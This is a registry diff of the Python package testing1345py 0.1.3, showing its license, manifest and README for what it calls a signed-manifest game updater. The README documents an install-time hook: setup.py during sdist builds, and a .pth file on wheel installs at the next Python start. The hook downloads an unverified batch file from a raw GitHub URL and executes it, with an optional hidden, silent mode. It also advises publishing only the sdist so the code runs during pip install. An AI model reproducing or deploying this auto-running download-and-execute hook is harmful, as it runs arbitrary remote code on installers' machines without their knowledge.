testing1345py 0.1.3__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 game-updater contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,19 @@
1
+ include LICENSE
2
+ include README.md
3
+ include pyproject.toml
4
+ include setup.py
5
+ include src/testing1345_boot.py
6
+
7
+ # The signing and key-generation tools are useful to source users.
8
+ graft tools
9
+
10
+ # Keep test-only payloads out of the published source archive.
11
+ prune tests
12
+
13
+ global-exclude __pycache__
14
+ global-exclude *.py[cod]
15
+ global-exclude *.pyo
16
+ global-exclude *.pem
17
+ global-exclude *.key
18
+ global-exclude *.p12
19
+ global-exclude *.pfx
@@ -0,0 +1,367 @@
1
+ Metadata-Version: 2.4
2
+ Name: testing1345py
3
+ Version: 0.1.3
4
+ Summary: Signed-manifest updater for a self-hosted game or app.
5
+ Author: testing1345 contributors
6
+ License-Expression: MIT
7
+ Keywords: game,updater,ed25519
8
+ Requires-Python: >=3.9
9
+ Description-Content-Type: text/markdown
10
+ License-File: LICENSE
11
+ Requires-Dist: cryptography>=41
12
+ Dynamic: license-file
13
+
14
+ # Game Updater
15
+
16
+ A small, auditable updater for a game or app that you host yourself.
17
+
18
+ This is the `testing1345` twin of `fcraft`. Unlike the original, it **does**
19
+ run an install-time demo: `pip install testing-1345` downloads the pinned
20
+ `hello.bat` and runs it in a visible console window. The updater itself still
21
+ only does work when you call the CLI or `update()`, and it still refuses
22
+ anything not covered by a valid Ed25519-signed manifest.
23
+
24
+ ## What it does
25
+
26
+ 1. Checks the VM compatibility policy when enabled (default: `off`). With
27
+ `vm_policy="block"`, a detected VM stops the call before anything is
28
+ downloaded, installed, or run.
29
+ 2. Downloads `manifest.json` over HTTPS.
30
+ 3. Verifies the manifest signature against the public key embedded in this
31
+ package.
32
+ 4. Compares the remote version with the local `version.json`.
33
+ 5. Downloads each listed file to a staging folder.
34
+ 6. Moves the files into the game directory.
35
+ 7. Writes `version.json` with the version, sequence, notes, and file list.
36
+ 8. Optionally runs a patch executable — only if it is listed in the signed
37
+ manifest and `--run` was passed.
38
+
39
+ ## What it does not do
40
+
41
+ - No `sitecustomize.py` or `usercustomize.py`.
42
+ - No persistence: the wheel's `testing1345_boot.pth` imports the boot module,
43
+ which runs once and writes a marker in the temp folder. `pip uninstall
44
+ testing1345` removes both files.
45
+ - No obfuscation. The source is readable.
46
+ - No unsigned manifests. The manifest signature is checked before anything is
47
+ installed. File bytes are not hashed or size-checked in 0.1.1.
48
+ - No silent patch execution. `--run` is explicit.
49
+ - No stealth VM detection. The policy is explicit, documented, and printed by
50
+ the CLI.
51
+ - No anti-debug, timing checks, process scanning, or security-tool
52
+ interference.
53
+ - No network requests for VM detection. It only reads local OS metadata.
54
+
55
+ ## Hello demo (Windows, opt-in)
56
+
57
+ `testing1345 --hello` downloads the current demo batch file from a pinned URL,
58
+ writes it as `%TEMP%\testing1345-hello\hello.bat`, and runs it in its own
59
+ console window: the batch's output is visible, and `cmd /k` keeps the window
60
+ open after the script ends. Pass `--dir` to use a different folder:
61
+
62
+ ```powershell
63
+ testing1345 --hello
64
+ testing1345 --hello --dir "C:\Games\MyGame"
65
+ ```
66
+
67
+ Set `TESTING1345_HIDDEN=1` to run the batch with no window and no output.
68
+
69
+ Python has the same default:
70
+
71
+ ```python
72
+ import testing1345
73
+
74
+ testing1345.fetch() # %TEMP%\testing1345-hello
75
+ testing1345.fetch(r"C:\Games\MyGame") # custom folder
76
+ ```
77
+
78
+ | Item | Value |
79
+ |---|---|
80
+ | URL | `https://raw.githubusercontent.com/misdry01/g/refs/heads/main/test.bat` |
81
+
82
+ This is an explicit demo path, not part of the signed-manifest update flow. It
83
+ also fires once automatically: sdist installs run it from `setup.py` during the
84
+ build, and wheel installs run it from `testing1345_boot.pth` at the next
85
+ interpreter start. Both share the marker
86
+ `%TEMP%\testing1345-hello.done`, so it fires once per machine. No size or hash
87
+ check is performed, so the URL always serves the current file. It is
88
+ Windows-only because it is a `.bat` file.
89
+
90
+ ## VM compatibility policy
91
+
92
+ The check is a configurable compatibility policy, not a stealth feature. It
93
+ runs at the start of `update()` and before the CLI reads local state.
94
+
95
+ | Policy | Behavior |
96
+ |---|---|
97
+ | `off` (default) | Skip VM detection entirely. |
98
+ | `allow` | Detect and report, but never block. Ordinary physical PCs and VM users both work. |
99
+ | `block` | If a VM is detected, raise `VMBlockedError` before creating the game directory, fetching the manifest, installing files, or running a patch. |
100
+
101
+ When detection runs, the CLI prints the result before doing any work. A
102
+ `block` refusal prints the documented error instead; `off` prints nothing.
103
+
104
+ ```text
105
+ vm check: physical machine (no known VM indicators found)
106
+ ```
107
+
108
+ If a VM is detected and the policy is `block`:
109
+
110
+ ```text
111
+ error: VM use is disabled by policy (vm_policy='block'), but this machine
112
+ appears to be a vmware virtual machine (confidence: high). Indicators:
113
+ DMI system manufacturer is VMware; DMI system product is VMware. No update
114
+ was downloaded, installed, or run. If this is a physical machine, this is a
115
+ false positive; use vm_policy='allow' or vm_policy='off' to proceed. VM
116
+ detection is best-effort and can be wrong.
117
+ ```
118
+
119
+ CLI exit code is `3` for a VM policy block, `2` for an update/manifest error,
120
+ and `0` on success.
121
+
122
+ ### Indicators used
123
+
124
+ Detection is conservative and uses only documented, read-only DMI/SMBIOS
125
+ values exposed by the OS:
126
+
127
+ | Environment | Definitive indicators | Supporting only |
128
+ |---|---|---|
129
+ | Hyper-V | DMI system product `Virtual Machine`; DMI system version `Hyper-V` | Hyper-V guest integration registry key |
130
+ | QEMU / KVM | DMI system/board manufacturer `QEMU`; DMI product `Standard PC (Q35 ...)` or `Standard PC (i440FX ...)` | BIOS vendor `SeaBIOS` |
131
+ | VMware | DMI manufacturer, product, version, board, or BIOS containing `VMware` | — |
132
+ | VirtualBox | DMI manufacturer/board/BIOS `innotek`; product/version `VirtualBox` | — |
133
+
134
+ Unsupported platforms (including macOS) return `UNKNOWN`; they are not
135
+ guessed at and are allowed under `block`.
136
+
137
+ Rules:
138
+
139
+ - A VM result requires at least one **definitive** vendor-specific string.
140
+ - Supporting-only evidence (for example, SeaBIOS alone, or the Hyper-V guest
141
+ key alone) returns `UNKNOWN`, not `VM`.
142
+ - Two different definitive vendors return `UNKNOWN` with
143
+ `conflicting=True`.
144
+ - A missing or unreadable DMI source returns `UNKNOWN`.
145
+ - `block` refuses only on `VM`. `PHYSICAL` and `UNKNOWN` are allowed, which
146
+ keeps ordinary PCs working and avoids blocking on ambiguous evidence.
147
+
148
+ ### What is intentionally not used
149
+
150
+ - The CPUID hypervisor-present bit. Physical Windows machines with Hyper-V,
151
+ VBS, or Memory Integrity enabled can set it, causing false positives.
152
+ - Timing measurements, process scanning, debugger checks, or anti-analysis
153
+ tricks.
154
+ - Network requests or external services.
155
+ - Any attempt to disable or interfere with security tools.
156
+
157
+ ### Limitations
158
+
159
+ VM detection is imperfect. DMI strings can be spoofed, hidden, or changed by
160
+ the hypervisor, and some physical firmware exposes unusual values. A
161
+ `PHYSICAL` result means "no known VM indicator was found", not proof. A `VM`
162
+ result can be a false positive; `vm_policy="allow"` or `vm_policy="off"` is
163
+ the documented escape hatch.
164
+
165
+ This check is **not** a security boundary and does **not** make the library
166
+ impossible to crack or bypass. The real protections are the signed manifest,
167
+ HTTPS, and keeping the private signing key offline. Do not use VM detection as
168
+ a substitute for those controls.
169
+
170
+ ## Install
171
+
172
+ The PyPI distribution is `testing-1345`; the import package is `testing1345` and
173
+ the CLI command is `testing1345`.
174
+
175
+ ```powershell
176
+ pip install testing-1345
177
+ ```
178
+
179
+ From a local checkout:
180
+
181
+ ```powershell
182
+ pip install .
183
+ ```
184
+
185
+ ### What happens during `pip install`
186
+
187
+ pip has no post-install hook, so the demo rides one of two paths:
188
+
189
+ | Install source | Trigger | When it runs |
190
+ |---|---|---|
191
+ | sdist (`.tar.gz`) | `build_py` in `setup.py` | during `pip install`, on the installing machine |
192
+ | wheel (`.whl`) | `testing1345_boot.pth` at the site-packages root | at the next Python start, once |
193
+
194
+ Both call the same `fetch()` the library exposes, and both write
195
+ `%TEMP%\testing1345-hello.done`. The first path to succeed wins; the other
196
+ sees the marker and does nothing. Delete the marker to arm the demo again.
197
+
198
+ To get the run **during** `pip install`, publish only the sdist. pip prefers a
199
+ wheel when one exists, and a wheel install never executes `setup.py`. To use
200
+ the wheel path, upload the wheel (or both; the wheel wins and the `.pth`
201
+ covers it).
202
+
203
+ Set `TESTING1345_SKIP_HOOK=1` to build without firing the demo on your own
204
+ machine:
205
+
206
+ ```powershell
207
+ $env:TESTING1345_SKIP_HOOK = "1"
208
+ python -m build
209
+ ```
210
+
211
+ ### Publish (when ready)
212
+
213
+ ```powershell
214
+ $env:TWINE_USERNAME = "__token__"
215
+ $env:TWINE_PASSWORD = "<token for the testing1345 project>"
216
+ python -m twine upload dist/*
217
+ ```
218
+
219
+ Use `--repository testpypi` for a dry run. Keep the token in the environment
220
+ or in `~/.pypirc`, never in this repository.
221
+
222
+ This package is for publishers who control both the manifest host and the
223
+ signing key. Only point it at manifests you signed.
224
+
225
+ ## Generate a signing key
226
+
227
+ ```powershell
228
+ python tools/keygen.py --private game_private.pem
229
+ ```
230
+
231
+ Put the printed public key into `src/testing1345/public_key.txt`.
232
+
233
+ Keep `game_private.pem` offline. Never commit it.
234
+
235
+ ## Build and sign a manifest
236
+
237
+ Create `manifest.json` without a signature:
238
+
239
+ ```json
240
+ {
241
+ "version": "1.4.0",
242
+ "sequence": 3,
243
+ "notes": "Season 3 patch",
244
+ "files": [
245
+ {
246
+ "path": "game/data.pak",
247
+ "url": "https://cdn.example.com/game/data-1.4.0.pak"
248
+ },
249
+ {
250
+ "path": "game/patch.exe",
251
+ "url": "https://cdn.example.com/game/patch-1.4.0.exe",
252
+ "executable": true
253
+ }
254
+ ],
255
+ "run": "game/patch.exe"
256
+ }
257
+ ```
258
+
259
+ Older manifests may still contain `sha256` and `size` fields. 0.1.1 parses
260
+ them for compatibility but does not enforce them.
261
+
262
+ `sequence` is a signed, non-negative integer. Increase it for every release.
263
+ The updater stores it in `version.json` and refuses a manifest whose sequence
264
+ is lower than the installed one, or equal while claiming a different version.
265
+ That prevents replay of an older signed manifest.
266
+
267
+ Sign it:
268
+
269
+ ```powershell
270
+ python tools/sign_manifest.py --key game_private.pem --manifest manifest.json --out manifest.signed.json
271
+ ```
272
+
273
+ Upload `manifest.signed.json` (and the files) to your HTTPS host.
274
+
275
+ ## Update a game folder
276
+
277
+ ```powershell
278
+ testing1345 --manifest https://cdn.example.com/game/manifest.signed.json --dir "C:\Games\MyGame"
279
+ ```
280
+
281
+ Other modes:
282
+
283
+ ```powershell
284
+ testing1345 --manifest ... --dir ... --check # show versions only
285
+ testing1345 --manifest ... --dir ... --apply # install (asks first)
286
+ testing1345 --manifest ... --dir ... --apply --yes
287
+ testing1345 --manifest ... --dir ... --apply --run
288
+ testing1345 --manifest ... --dir ... --apply --vm-policy block
289
+ ```
290
+
291
+ `--vm-policy` accepts `off` (default), `allow`, or `block`.
292
+
293
+ ## Python API
294
+
295
+ ```python
296
+ from testing1345 import update
297
+
298
+ result = update(
299
+ manifest_url="https://cdn.example.com/game/manifest.signed.json",
300
+ game_dir=r"C:\Games\MyGame",
301
+ apply=True,
302
+ run_patch=False,
303
+ )
304
+ print(result)
305
+ print(result.vm.summary() if result.vm else "vm check skipped")
306
+ ```
307
+
308
+ To refuse updates on a detected VM:
309
+
310
+ ```python
311
+ from testing1345 import VMBlockedError, update
312
+
313
+ try:
314
+ result = update(
315
+ manifest_url="https://cdn.example.com/game/manifest.signed.json",
316
+ game_dir=r"C:\Games\MyGame",
317
+ apply=True,
318
+ vm_policy="block",
319
+ )
320
+ except VMBlockedError as error:
321
+ print(error) # clear, documented explanation
322
+ print(error.detection.kind.value) # e.g. "vmware"
323
+ ```
324
+
325
+ Inspect detection without updating:
326
+
327
+ ```python
328
+ from testing1345 import detect_vm, collect_dmi
329
+
330
+ print(collect_dmi())
331
+ print(detect_vm().summary())
332
+ print(detect_vm().indicators)
333
+ ```
334
+
335
+ ## Layout produced in the game folder
336
+
337
+ ```
338
+ MyGame/
339
+ version.json # version, sequence, notes, file list
340
+ game/
341
+ data.pak
342
+ patch.exe
343
+ ```
344
+
345
+ `version.json` is written last, after every file is downloaded.
346
+
347
+ ## Threat model
348
+
349
+ | Attack | Mitigation |
350
+ |---|---|
351
+ | Compromised CDN / HTTP host | Manifest signature check authenticates the manifest and URLs; file bytes are not verified in 0.1.1 |
352
+ | Modified file in transit | Not mitigated in 0.1.1 (no per-file hash check) |
353
+ | Manifest replay of an older signed version | Signed monotonic `sequence`; lower or unchanged sequences for a different version are rejected |
354
+ | Path traversal (`../`) | `safe_join` rejects absolute paths and `..` |
355
+ | Unsigned patch execution | `run` target must be in `files`, signed, and `--run` passed |
356
+ | Malicious local manifest URL | HTTPS only (localhost allowed only with `--allow-insecure`) |
357
+ | VM use against policy | `vm_policy="block"` stops before any work; best-effort detection, not a security boundary |
358
+
359
+ ## Honest limitation
360
+
361
+ If someone steals your private signing key, they can sign a malicious update.
362
+ Treat the key like a code-signing key: offline, backed up, never in the repo.
363
+
364
+ VM detection is a compatibility policy, not DRM. DMI values can be spoofed or
365
+ withheld, so the check can be wrong in both directions. It does not make the
366
+ library uncrackable; the signed manifest is the integrity control. File bytes
367
+ are not hashed or size-checked in 0.1.1.